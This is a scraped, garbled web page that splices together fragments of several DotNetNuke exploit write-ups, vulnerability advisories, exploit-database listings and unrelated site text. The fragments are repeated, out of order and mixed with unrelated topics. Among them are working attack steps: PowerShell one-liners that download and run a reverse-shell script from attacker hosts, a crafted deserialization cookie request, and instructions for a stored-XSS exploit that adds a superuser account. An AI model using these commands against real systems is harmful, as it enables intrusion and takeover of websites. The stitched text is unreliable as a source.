DNT: 1 How to exploit the DotNetNuke Cookie Deserialization Author ... DotNetNuke is a free and open-source web CMS (content management system) written in C# and based on the .NET framework. Sploitus | Exploit & Hacktool Search Engine | DotNetNuke < 9.4.0 - Cross-Site Scripting CVE-2019-12562 Stored Cross-Site Scripting is the most dangerous type of Cross-Site Scripting. Upgrade-Insecure-Requests: 1 python -m SimpleHTTPServer 1337 The main problem is in the field “Display Name” that didn’t validate the value properly before attached to the web page. Base … GHDB. by Cristian Cornea June 10, 2020. by Cristian Cornea June 10, 2020. What is DotNetNuke Used For? Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 I still needed to get RCE working outside of the FileSystemUtils class, and only had this exploit that had been seen in the wild in a campaign dubbed “Zealot”. In the example above we use curl to download and later execute a powershell file. DNN9 Series Video 1 - Installing IIS, Visual Studio 2017 and SQL Server 2016 Express - Duration: 9:18. Successful exploitation occurs when an admin user visits a notification page with stored cross-site scripting. Required fields are marked *, © 2020 MAYASEVEN PTE. python3 CVE-2019-12562.py You have to serve the webserver and place payload.js on it for waiting for admin connection. DNN9 Series Video 1 - Installing IIS, Visual Studio 2017 and SQL Server 2016 Express - Duration: 9:18. LTD. For real-world attack demonstration, we created an automate exploitation of DotNetNuke CMS by using python 3. Running the exploit if the target vulnerable, the exploit will register a dummy user with XSS attached in the field "Display Name" and you will get payload.js. Pentest-Tools.com is an online platform for Penetration Testing which allows you to easily perform Website Pentesting, Network Pen Test and Recon. # Exploit Author: MAYASEVEN # CVE : CVE-2019-12562 Submissions. The forDNN.UsersExportImport module before 1.2.0 for DNN (formerly DotNetNuke) allows an unprivileged user to import (create) new users with Administrator privileges, as demonstrated by Roles="Administrators" in XML or CSV data. If you are unable to spawn a reverse shell due to an IDS or can’t get a web shell due to not knowing the DNN install directory, you can work around this by running ls C: > C:\Users\Public\dir.log and then later read that file using a different payload to discover the install directory so a web shell can be uploaded. Finally, we cloud log in as superuser and fully compromise the target website. Then you have to place the payload.js file to your web server for waiting connection from targeted admin. The rating of DotNetNuke is 3.8 stars out of 5. Papers. CVE-2019-1301: .NET Core suffers from a denial of service vulnerability when it improperly handles web requests. select versions of DotNetNuke.Web. 2019-06 (Low) Possible Stored Cross-Site Scripting (XSS) Execution Published: 11/22/2019 ... Low means the issue is very difficult to exploit or has a limited potential impact. Featured vulnerabilities more vulnerabilities. The version of DNN Platform (formerly DotNetNuke) running on the remote host is 6.0.0 or later but prior or equal to 9.3.2. The exploit could be used to perfom any action with admin privileges such as managing content, adding users, uploading backdoors to the server, etc. Search EDB . User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/69.0.3497.81 Chrome/69.0.3497.81 Safari/537.36 The version of DNN Platform (formerly DotNetNuke) running on the remote host is 5.2.0 or later but prior to 9.1.1. Chris Hammond 22,957 views Chris Hammond 22,957 views This is the official website of the DNN community. Reading Time: 10 minutes We looked at around 300 DotNetNuke deployments in the wild and discovered that one in five installations was vulnerable to CVE-2017-9822. La base de données de vulnérabilité numéro 1 dans le monde entier. If you continue to use this site you agree to allow us to use cookies, in accordance with our, eLearnSecurity Certified eXploit Developer (eCXD) Review, [CVE-2019-12562] Stored Cross-Site Scripting in DotNetNuke (DNN) Version before 9.4.0, คอร์ส แหกเว็บ Web Application Hacking and Ethical Hacker (Online). Glitch Witch Security. The exploit could be used to perfom any action with admin privileges such as managing content, adding users, uploading backdoors to the server, etc. A little information on DNN. At this point I had a way to generate a functional exploit and continued on my engagement. Then we generate the payload using ysoserial.net, taking care to replace the IP address used with your attack machine. We looked at around 300 DotNetNuke deployments in the wild and discovered that one in… Read more. Description: DotNetNuke – Cookie Deserialization Remote Code Execution (Metasploit) Published: Thu, 16 Apr 2020 00:00:00 +0000 Source: EXPLOIT-DB.COM The web application that allows users to store data is potentially exposed to this type of attack. The version of DNN Platform (formerly DotNetNuke) running on the remote host is 7.0.0 or later but prior to 9.3.1. Search EDB. 2019-05-27 – Vulnerability was found by MAYASEVEN 2019-05-28 – Research team report the issue to DNN Software Security Department DNN (formerly DotNetNuke) through 9.4.4 allows XSS (issue 1 of 2). It is, therefore, affected by multiple vulnerabilities : - A remote code execution vulnerability exists due to insecure use of web cookies to identify users. Successful exploitation occurs when an admin user has visited a notification page. On 06 June 2019 Qualys disclosed a remote command execution vulnerability that affects exim … The version of DNN Platform (formerly DotNetNuke) running on the remote host is 5.2.0 or later but prior to 9.1.1. # Exploit Title : DNNSoftware EventsCalendar Modules 1.x Arbitrary File Download # Author [ Discovered By ] : KingSkrupellos # Team : Cyberizm Digital Security Army Your email address will not be published. View Analysis Description. Posted by MAYASEVEN on Thursday, October 3, 2019. Patch: 6.1: 2019-09-26: CVE-2019-12562: Stored Cross-Site Scripting in DotNetNuke (DNN) Version before 9.4.0 allows remote attackers to store and embed the malicious script into the admin notification page. To respect user privacy and reduce page size, Disqus is only loaded on user prompt. Shellcodes. 01/21/2019 - Issue discovered, exploit developed and tested 02/05/2019 - Contact established with developer, details of vulnerability sent 02/07/2019 - Developer pushed fixes to Github 02/07/2019 - Fixes for issue were tested and confirmed to be fixed 02/09/2019 - Official 3.3.7.0 release was done on Github 03/28/2019 - Public disclosure. Connection: close, https://www.pexels.com/photo/woman-behind-laptop-computer-1268472/. First we start listening on our attack machine with netcat on port 1337. Then we visit a 404 page on our test site to generate the needed cookie. 02/13/2019 CVE-2019-5911 Untrusted search path vulnerability in the installer of UNLHA32.DLL (UNLHA32.DLL for Win32 Ver 2.67.1.2 and earlier) allows an attacker to gain privileges via a Trojan horse DLL in an unspecified directory. CVE-2019-12562 CWE-79 Stored Cross-Site Scripting in DotNetNuke (DNN) Version before 9.4.0 allows remote attackers to store and embed the malicious script into the admin notification page. The Security Task Force then issues a security bulletin via DNN security forum posts and, where judged necessary, email. In May 2019, MAYASEVEN Researchers identified a vulnerability in DotNetNuke (DNN), an open-source web content management system and web application framework based on Microsoft .NET. Later edit [June 11, 2020]: As part of this research, we discovered a Remote Code Execution vulnerability exploitable through DNN Cookie Deserialization in one of the … Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the Display Name field in the admin notification function. 25 Sept 2019 — Requested DNN to share any update. Accept-Encoding: gzip, deflate We recommended to update the version to DotNetNuke (DNN) v9.4.0 latest released which include all fixes. The default web.config files distributed with DNN include an embedded Machine Key value (both ValidationKey and DecryptionKey). DotNetNuke.Core is a references provider to the DotNetNuke.dll to develop extensions for the DNN Platform.. Overview. The exploit only works against older versions of DotNetNuke (DNN) <= v9.3.2. Successful exploitation occurs when an admin user visits a notification page with stored cross-site scripting. DotNetNuke before 4.8.2, during installation or upgrade, does not warn the administrator when the default (1) ValidationKey and (2) DecryptionKey values cannot be modified in the web.config file, which allows remote attackers to bypass intended access restrictions by using the default keys. Submissions. Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 This indicates an attack attempt to exploit an Authentication Bypass vulnerability in DotNetNuke.The vulnerability is due to a... Jun 27, 2019. Successful exploitation occurs when an admin user visits a notification page with stored cross-site scripting. 2019-09-13 – Request to publish the vulnerability Successful exploitation occurs when an admin user visits a notification … The exploit abuses a Stored Cross-Site Scripting vulnerability in DotNetNuke, specifically an admin notification component. 2019-06 (Low) Possible Stored Cross-Site Scripting (XSS) Execution Published: 11/22/2019 Background A cross-site scripting issue is an issue whereby a malicious user can execute client scripting on a remote server without having the proper access or permission to do so. Description The version of DNN Platform (formerly DotNetNuke) running on the remote host is affected by multiple vulnerabilities : - A flaw exists due to improper validation of user permissions. [DotNetNuke (DNN)] [XSS to bypass CSRF protection to RCE] [CVE-2019-12562] ปล่อย exploit code และอธิบายช่องโหว่ของ CMS ที่บริษัททั่วโลก ใช้ในงานธุรกิจกว่า 750,000 … About Exploit-DB Exploit-DB History FAQ Search. Synopsis The remote web server contains an ASP.NET application that is affected by multiple vulnerabilities. [+] 漏洞检测 Ladon POC Moudle CVE-2019-11043 (PHP-FPM + Ngnix) [+] 漏洞利用 cve-2019-0604 SharePoint RCE exploit [+] 漏洞利用 K8_JbossExp.exe Jboss Jmx-console exploit [+] 漏洞利用 K8 DotNetNuke DNNspot Store =3.0 GetShell exploit.rar [+] 漏洞利用 CVE-2018-2628 Weblogic GetShell EXPLOIT [+] 漏洞利用 ColdFusion 8 LFI EXP 2019-06 (Low) Possible Stored Cross-Site Scripting (XSS) Execution Published: 11/22/2019 ... Low means the issue is very difficult to exploit or has a limited potential impact. The exploit only works against older versions of DotNetNuke (DNN) <= v9.3.2. Shellcodes. Stored Cross-Site Scripting in DotNetNuke (DNN) Version before 9.4.0 allows remote attackers to store and embed the malicious script into the admin notification page. LTD. All rights reserved, You need to agree with the terms to proceed, MAYASEVEN is ISO/IEC 27001:2013 Certified, MAYASEVEN in The Top 10 Software Testing Consulting Companies 2019, Maturity Cybersecurity Management Framework, [Write-up] I love video soooooooo much TH Capture the Packet, [Write-up] Bypassing Custom Stack Canary {TCSD CTF}. Papers. 18 Jul 2019 — First technical report sent to DNN (security@dnnsoftware.com). DNN Platform (DotNetNuke): DNN Platform, formerly called DotNetNuke Community Edition, is a free, open source content management system ( CMS ). PWK Penetration Testing with Kali ; AWAE Advanced Web Attacks ; WiFu Wireless Attacks ; Offsec Resources. With exploit With patch Vulnerability Intelligence. But I didn’t stop there! Vulnerability summary for the week: November 27, 2020; Personal data of 16M Brazilian COVID-19 patients exposed due to a password leak; Sophos security breach exposes customers’ data GET CERTIFIED. DotNetNuke is an award-winning cloud-based Data Management software, it is designed to support small, medium and large size business. PWK PEN-200 ; ETBD PEN-300 ; AWAE WEB-300 ; WiFu PEN-210 ; Stats. The exploit could be used to perfom any action with admin privileges such as managing content, adding users, uploading backdoors to the server, etc. The Return of the WIZard: RCE in Exim A look at CVE-2019-10149, RCE in Exim 14 JUN 2019 - 7 MINUTE READ exploits notes. "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe curl http://justtesting.local/rcetest", "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe curl http://spookyhacker.glitchwitch.io/reverseshell.ps1 -O C:\Users\Public\totallylegit.ps1; C:\Users\Public\totallylegit.ps1", "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe iex (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.13.37 -Port 1337", Host: www.vulnerable.host 22 Jul 2019 — As per request, additional PoC details sent to DNN. Stored Cross-Site Scripting in DotNetNuke (DNN) Version before 9.4.0 allows remote attackers to store and embed the malicious script into the admin notification page. We're the steward of the DotNetNuke Open Source Project. Glitch Witch Security. After this issue is fully addressed on your own site, our team strongly recommends that you review the host SuperUser accounts page within your DNN admin dashboard to ensure there are no unauthorized accounts on your site. CVE-2019-12562 . CVE-2019-12562: There is stored cross-site scripting vulnerability in DotNetNuke (DNN) versions before 9.4.0, allowing attackers to store and embed malicious script into the administration notification page. Our software helps you create rich and interactive online experiences. Information Security Services, News, Files, Tools, Exploits, Advisories and Whitepapers CVE-2019-3726 CONFIRM: dnn_software -- dotnetnuke: Stored Cross-Site Scripting in DotNetNuke (DNN) Version before 9.4.0 allows remote attackers to store and embed the malicious script into the admin notification page. However at the time the only form the code was shared in was in the video and PDF of the slides. by Alexandru Postolache May 29, 2020. by Alexandru Postolache May 29, 2020. The exploit could be used to perfom any action with admin privileges such as managing content, adding users, uploading backdoors to the server, etc. 11 en parlent. Running the exploit if the target vulnerable, the exploit will register a dummy user with XSS attached in the field "Display Name" and you will get payload.js. It is, therefore, affected by multiple vulnerabilities including the following: A cross-site scripting (XSS) vulnerability exists due to improper validation of user-supplied input before returning it to users. Installing DotNetNuke using SQL Server 2005 / 2008 / 2008R2 / 2012 or Express edition with attached database . … Successful exploitation will create a payload.js file, which is a script create a superuser. That includes governmental and banking websites. However shortly afterwards pwntester created a plugin for ysoserial.net and had me give it a test. How to exploit the DotNetNuke Cookie Deserialization. 2019-09-26 – Published a blog about POC, Your email address will not be published. You can explore the exploit from our Github repository. 184/155 Forum Tower Building, 25th Floor, Ratchadaphisek Road, Huaikhwang Sub-District, Huaikhwang District, Bangkok, 10310, Thailand, We use cookies to ensure that we give you the best experience on our website. In the register page, we found the field “Display Name” that could be displayed in the admin notification page when the user registered the account. This exploit could use to do any action in the admin privilege. After some trial and error, and a nudge from pwntester, I was able to create a reliable exploit by generating a payload with ysoserial.net using the ObjectStateFormatter as part of the TypeConfuseDelegate gadget and dropping the base64 output into the wrapper used by the Zealot campaign. On 06 June 2019 Qualys disclosed a remote command execution vulnerability that affects exim versions … Nos spécialistes documenter les dernières questions de sécurité depuis 1970. The exploit could be used to perfom any action with admin privileges such as managing content, adding users, uploading backdoors to the server, etc. # Exploit Condition : Successful exploitation occurs when an admin user visits a notification page. Now that the plugin is functional, we can generate payloads directly from ysoserial.net without the need to combine two different pieces as I did before. About Blog Reports Services Contact. We could inject a javascript in this field “Display Name” to exploit the vulnerability. Online Training . 18 Jul 2019 — First technical report sent to DNN (security@dnnsoftware.com). Online Training . We submitted the username and password to the website. Stats. More than 2,000 organizations worldwide rely on DNN to fuel their businesses. CVE-2019-12043: there is a ... DotNetNuke (DNN) has a cross-site scripting vulnerability before versions 9.4.0 which is allowing remote attackers to store and embed malicious script into the admin notification page. About Us. CVE-2019-19392 Detail Current Description . Comments are provided by Disqus. 22 Jul 2019 — As per request, additional PoC details sent to DNN. Severity CVSS Version 3.x CVSS Version 2.0. SearchSploit Manual. eLearnSecurity Certified eXploit Developer (eCXD) Review October 29, 2019 [Write-up] Volgmer Thailand CTF 2019 September 30, 2019 [Write-up] Bypassing Custom Stack Canary {TCSD CTF} September 29, 2019 [CVE-2019-12562] Stored Cross-Site Scripting in DotNetNuke (DNN) Version before 9.4.0 September 27, 2019 The exploit could be used to perfom any action with admin privileges such as managing content, adding users, uploading backdoors to the server, etc. To exploit this vulnerability, the malicious BGP update message would need to come from a configured, valid BGP peer or would need to be injected by the attacker into the victim's BGP network on an existing, valid TCP connection to a BGP peer. However shortly afterwards pwntester created a plugin for ysoserial.net and had me give it a test. 25 Sept 2019 — Requested DNN to share any update. As we can see, there are requests from the target to our lab server. DNN is the largest and most popular open source CMS on the Microsoft ASP.NET stack. DotNetNuke received a rating of 3.8 from ITQlick team. 2019-09-12 – The vulnerability was fixed in version 9.4.0 DotNetNuke.SQL.Database.Administration.Authentication.Bypass Description This indicates an attack attempt to exploit an Authentication Bypass vulnerability in DotNetNuke. Average Rating. We recommended to update the version to DotNetNuke (DNN) v9.4.0 latest released which include all fixes. DotNetNuke 9.3.2 - Cross-Site Scripting.. webapps exploit for Multiple platform Exploit Database Exploits. In this example we will generate a payload that downloads and executes samratashok’s Invoke-PowerShellTcp to start a reverse shell. The exploit abuses a Stored Cross-Site Scripting vulnerability in DotNetNuke, specifically an admin notification component. On 13 March 2018 The Black Hat 2017 talk Friday the 13th: JSON Attacks was uploaded, in which @pwntester showed off Proof of Concept code for CVE-2017-9822, a Remote Code Execution vulnerability that affects DotNetNuke (DNN) versions 5.0.0 up to 9.1.0. 68 Circular Road, #02-01, 049422, Singapore, MAYASEVEN CO., LTD. We can replace the command after the -C flag with whatever suites your needs. At this point I had a way to generate a functional exploit and continued on my engagement. The resulting request will ultimately look like this. Patch: [+] 漏洞检测 Ladon POC Moudle CVE-2019-11043 (PHP-FPM + Ngnix) [+] 漏洞利用 cve-2019-0604 SharePoint RCE exploit [+] 漏洞利用 K8_JbossExp.exe Jboss Jmx-console exploit [+] 漏洞利用 K8 DotNetNuke DNNspot Store =3.0 GetShell exploit.rar [+] 漏洞利用 CVE-2018-2628 Weblogic GetShell EXPLOIT [+] 漏洞利用 ColdFusion 8 LFI EXP 01/21/2019 - Issue discovered, exploit developed and tested 02/05/2019 - Contact established with developer, details of vulnerability sent 02/07/2019 - Developer pushed fixes to Github 02/07/2019 - Fixes for issue were tested and confirmed to be fixed 02/09/2019 - Official 3.3.7.0 release was done on Github 03/28/2019 - Public disclosure. 2019-05-28 – Research team report the issue to DNN Software Security Department About Blog Reports Services Contact. About Exploit-DB Exploit-DB History FAQ Search. A closer look at CVE-2019-10149 detailing how to exploit it and how to set up a vulnerable test environment. webapps exploit for Multiple platform Exploit Database Exploits. Technically, the exploit will fetch the parameters of the registration form and register a dummy user for trigger a notification to the admin. python3 CVE-2019-12562.py You have to serve the webserver and place payload.js on it for waiting for admin connection. Sep 19, 2019. GHDB. DotNetNuke (DNN) is an open-source Web Application Framework used to create and deploy websites. Next we drop the entire ysoserial.net payload into the DNNPersonalization= portion of the cookie, taking care to add a semi-colon at the end. MAYASEVEN PTE. For exploit vulnerability, the attackers with remote unauthenticated are possible to store and embed the malicious script into the admin notification page. A closer look at CVE-2019-10149 detailing how to exploit it and how to set up a vulnerable test environment. The DLL is often bundled with open source components e.g. I just want to add to this, that DotNetNuke corporation, right or wrong, asks that people not publicly discuss exploit details if known, as it exposes the wide community to greater risk. About Us. Once the exploit was discovered, it was reported to the DNN Software Security Department, who promptly fixed the vulnerability and released a patch in the 9.4.0 latest released. Notice that DotNetNuke (DNN) version is 09.03.02 (24). The success of this exploit occurs when an admin user visits a notification page with stored cross-site scripting. It is, therefore, affected by multiple vulnerabilities including the following: An unauthorized file access vulnerability exists due to insufficient verification of dynamic file types. The exploit could be used to perfom any action with admin privileges such as managing content, adding users, uploading backdoors to the server, etc. 2019-05-27 – Vulnerability was found by MAYASEVEN It is so popular and so widely used across the Internet because you can deploy a DNN web instance in … By taking advantage of this critical vulnerability, rogue attackers are able to essentially use an exploit to create their own SuperUser accounts on a DNN Installation. If admin login to the web application and open the notification, the injected script will be executed. Cookie: dnn_IsMobile=False;DNNPersonalization=Deserialize/wEyxBEAAQAAAP////SSBmb3Jnb3QgdG8gc2F2ZSB0aGUgcGF5bG9hZCB3aGVuIEkgd3JvdGUgdGhpcyBibG9nIHBvc3QgYW5kIHdhcyB0b28gYnVzeSB0byBzcGluIHVwIGEgbmV3IHdpbmRvd3MvZG5uIHZt=;language=en-US; .ASPXANONYMOUS=AdJ_92Sn1AEkAAAAODU5YjVjZWMtOWMwYS00ZmE1LThkODgtNWI2OTA0NjZjZjcz0; DotNetNukeAnonymous=b8bcc886-3286-4c26-8a9a-b6d3a73c6376; __RequestVerificationToken=JXPAgO5sl6NtPas-NgSv6SDSQgqLV8eAIlRa0ihpoSVyw_MSzjHXsgJhmQSV-mfU7IZOqjDfBz-fhJ81upD024MEoJ2UKG_QjTSYW_tVkAzOad9tOaWjzfm2c1o1 The Security Task Force then issues a security bulletin via DNN security forum posts and, where judged necessary, email. CVSS 3.x Severity and Metrics: NIST: NVD. The attacker could create a malicious script to do anything in the admin component. In May 2019, MAYASEVEN Researchers identified a vulnerability in DotNetNuke (DNN), an open-source web content management system and web application framework based on Microsoft .NET. Timeline. In October 2018 I started doing some research into DotNetNuke vulnerabilities for an engagement and came across this talk. For example, manage any content, add the users, upload backdoors to the server, etc. python -m SimpleHTTPServer 1337 CVE-2019-3726 CONFIRM: dnn_software -- dotnetnuke: Stored Cross-Site Scripting in DotNetNuke (DNN) Version before 9.4.0 allows remote attackers to store and embed the malicious script into the admin notification page. Save my name, email, and website in this browser for the next time I comment. 23 CVE-2008-6399: 264: 2009-03-05: 2009-03-06 Vulnerabilities How to exploit the PHAR Deserialization Vulnerability. Blog. SearchSploit Manual. It is, therefore, affected by multiple vulnerabilities : - A remote code execution vulnerability exists due to insecure use of web cookies to identify users. CVE-2019-19392 Detail Current Description The forDNN.UsersExportImport module before 1.2.0 for DNN (formerly DotNetNuke) allows an unprivileged user to import (create) new users with Administrator privileges, as demonstrated by Roles="Administrators" in XML or CSV data. As a content management system and web application framework, DNN can help you build nearly anything online, and can even integrate with mobile apps and any other system. The version of DNN installed on the remote host is affected by multiple vulnerabilities : An unspecified cross-site scripting vulnerability exists due to a failure to properly sanitize content used by the tabs control. Affected Versions DNN Platform Versions 5.0.0 through 9.6.0 Acknowledgements The DNN Community thanks the following for identifying the issue and/or working with us to help protect Users Robbert Bosker of DotControl Digital Creatives Related CVE: CVE-2019-19790 (2020-02) - A number of older JavaScript libraries have been updated, closing multiple individual security notices. The version of DNN installed on the remote host is affected by multiple vulnerabilities : An unspecified cross-site scripting vulnerability exists due to a failure to properly sanitize content used by the tabs control. We evaluated the severity score by using the CVSS score, and the result is Critical (9.6). CVE-2019-1301 More than 2,000 organizations worldwide rely on DNN to fuel their businesses. DNN Platform (DotNetNuke): DNN Platform, formerly called DotNetNuke Community Edition, is a free, open source content management system ( CMS ). CVE-2019-12562 Summary: Stored Cross-Site Scripting in DotNetNuke (DNN) Version before 9.4.0 allows remote attackers to store and embed the malicious script into the admin notification page. Actionable vulnerability intelligence; Over 30.000 software vendors monitored; API access to vulnerability intelligence data feeds; Subscribe from 30 €/month Request a demo. The Return of the WIZard: RCE in Exim A look at CVE-2019-10149, RCE in Exim 14 JUN 2019 - 7 MINUTE READ exploits notes. 2019. The script is completely injected in the field. After some trial and error, and a nudge from pwntester, I was able to create a reliable exploit by generating a payload with ysoserial.net using the ObjectStateFormatter as part of the TypeConfuseDelegate gadget and dropping the base64 output into the wrapper used by the Zealot campaign. The exploit could be used to perfom any action with admin privileges such as managing content, adding users, uploading backdoors to the server, etc. # Exploit Title: Stored Cross-Site Scripting in DotNetNuke (DNN) Version before 9.4.0 # Exploit Description : This exploit will add a superuser to target DNN website. According to them, over 750,000 organizations deployed web platforms powered by DotNetNuke worldwide. The software cost is considered affordable (2.1/5) when compared to alternative solutions. Successful exploitation occurs when an admin user … At the time I couldn’t find the demonstrated PoC code anywhere besides the talk itself, so I decided to pause the video, transcribe the XML payload character-for-character, and share it on twitter. Download the latest stable release of DotNetNuke, using the INSTALL package; Extract the contents of the ZIP package to a folder on your computer. Sploitus | Exploit & Hacktool Search Engine | DotNetNuke < 9.4.0 - Cross-Site Scripting CVE-2019-12562